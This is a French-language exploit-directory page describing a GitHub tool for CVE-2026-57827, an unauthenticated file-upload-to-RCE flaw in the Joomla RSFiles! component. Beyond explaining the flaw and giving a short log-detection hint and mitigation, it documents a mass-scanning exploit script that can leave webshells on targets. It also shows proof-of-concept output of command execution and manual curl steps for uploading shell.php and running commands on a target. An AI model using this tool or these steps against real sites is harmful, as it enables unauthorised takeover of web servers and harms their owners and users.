Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/shinthink/cve-2026-57827
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — Composant Joomla RSFiles! Téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE). Contournement du téléchargement via contrôleur scindé. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

Voir le dépôt
15217il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-57827 — Composant Joomla RSFiles! — RCE par téléversement de fichier non authentifié

Contournement du téléversement par contrôleur scindé → Tâche d'écriture directe → /downloads/shell.php → RCE


Vue d'ensemble

CVE-2026-57827 est une vulnérabilité critique (CVSS 9.8) de téléversement de fichier arbitraire sans authentification dans RSFiles! (com_rsfiles), un composant de gestion de fichiers et de téléchargements largement utilisé pour Joomla, dans les versions < 1.17.12.

La vulnérabilité exploite un défaut de conception de type contrôleur scindé (split-controller) : RSFiles! sépare son téléversement en deux tâches frontend — un contrôle pré-vol (contrôle d'autorisation + liste blanche d'extensions) et une méthode d'écriture (enregistre le fichier sur le disque). La méthode d'écriture peut être appelée directement, contournant entièrement le contrôle pré-vol. Aucune authentification requise, aucun jeton CSRF.

Versions affectées

VersionStatut
< 1.17.12Vulnérable
1.17.12+Corrigée

Découvert par : Phil Taylor, mySites.guru (10 juillet 2026) Éditeur : RSJoomla (rsjoomla.com) Composant : com_rsfiles


Mécanisme de la vulnérabilité

Cause racine

RSFiles! scinde son téléversement entre deux tâches frontend distinctes dans /components/com_rsfiles/controllers/rsfiles.php :

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Pourquoi cela fonctionne

  1. Contrôleur scindé — Les contrôles de sécurité et l'écriture du fichier se trouvent dans deux méthodes distinctes. Seul le contrôle pré-vol est protégé.
  2. Accès direct à la tâche — Le contrôleur frontend de Joomla permet d'appeler n'importe quelle tâche directement via &task=rsfiles.upload, contournant ainsi entièrement le contrôle pré-vol.
  3. Aucune authentification — Le contrôleur frontend n'effectue aucun contrôle d'accès. Les visiteurs anonymes peuvent appeler la tâche d'écriture.
  4. Aucun jeton CSRF — Le formulaire de téléversement frontend ne comporte aucun jeton CSRF global.
  5. Aucune validation du type de fichier — La méthode d'écriture lit le nom du fichier depuis la requête et le transmet au gestionnaire de téléversement intégré de Joomla (JFile::upload()), qui accepte tout type de fichier par défaut.
  6. Dossier de téléchargements à la racine web — Le dossier de téléchargements par défaut de RSFiles! se trouve dans la racine web. Le .htaccess protecteur qui empêcherait l'exécution de PHP à cet endroit est un paramètre administrateur optionnel (opt-in), désactivé par défaut.

Déroulement de l'attaque

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Références vérifiées du code source

FichierRôle
/components/com_rsfiles/controllers/rsfiles.phpContrôleur contenant les tâches vulnérables upload() et checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpModèle du formulaire de téléversement frontend (confirmé : name="file", task=rsfiles.upload)
/downloads/Dossier de téléchargements par défaut dans la racine web (protection .htaccess désactivée par défaut)
/briefcase/Dossier Briefcase (également accessible en écriture)

Détection dans les journaux serveur (selon l'avis de RSJoomla)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Défaut de conception clé

Les contrôles de sécurité (contrôle d'autorisation + liste blanche d'extensions) constituent une étape pré-vol distincte de la méthode qui écrit réellement le fichier. Seule la première contient les contrôles. La seconde — celle qui écrit sur le disque — peut être appelée directement en construisant le bon paramètre task dans l'URL, contournant ainsi tous les contrôles de sécurité.

C'est un exemple typique de l'anti-pattern « contrôles et actions séparés » : le contrôle et l'opération qu'il est censé protéger sont découplés, et un attaquant peut atteindre l'opération sans passer par le contrôle.


Installation

git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Utilisation

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Arguments

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Preuve de concept

Cible unique

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Exploitation manuelle

Étape 1 — Téléverser le shell

curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Étape 2 — Accéder au shell

curl 'https://target.com/downloads/shell.php?c=id'

Étape 3 — Exécuter des commandes

curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mesure d'atténuation (si la mise à jour n'est pas possible)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
Télécharger l’outil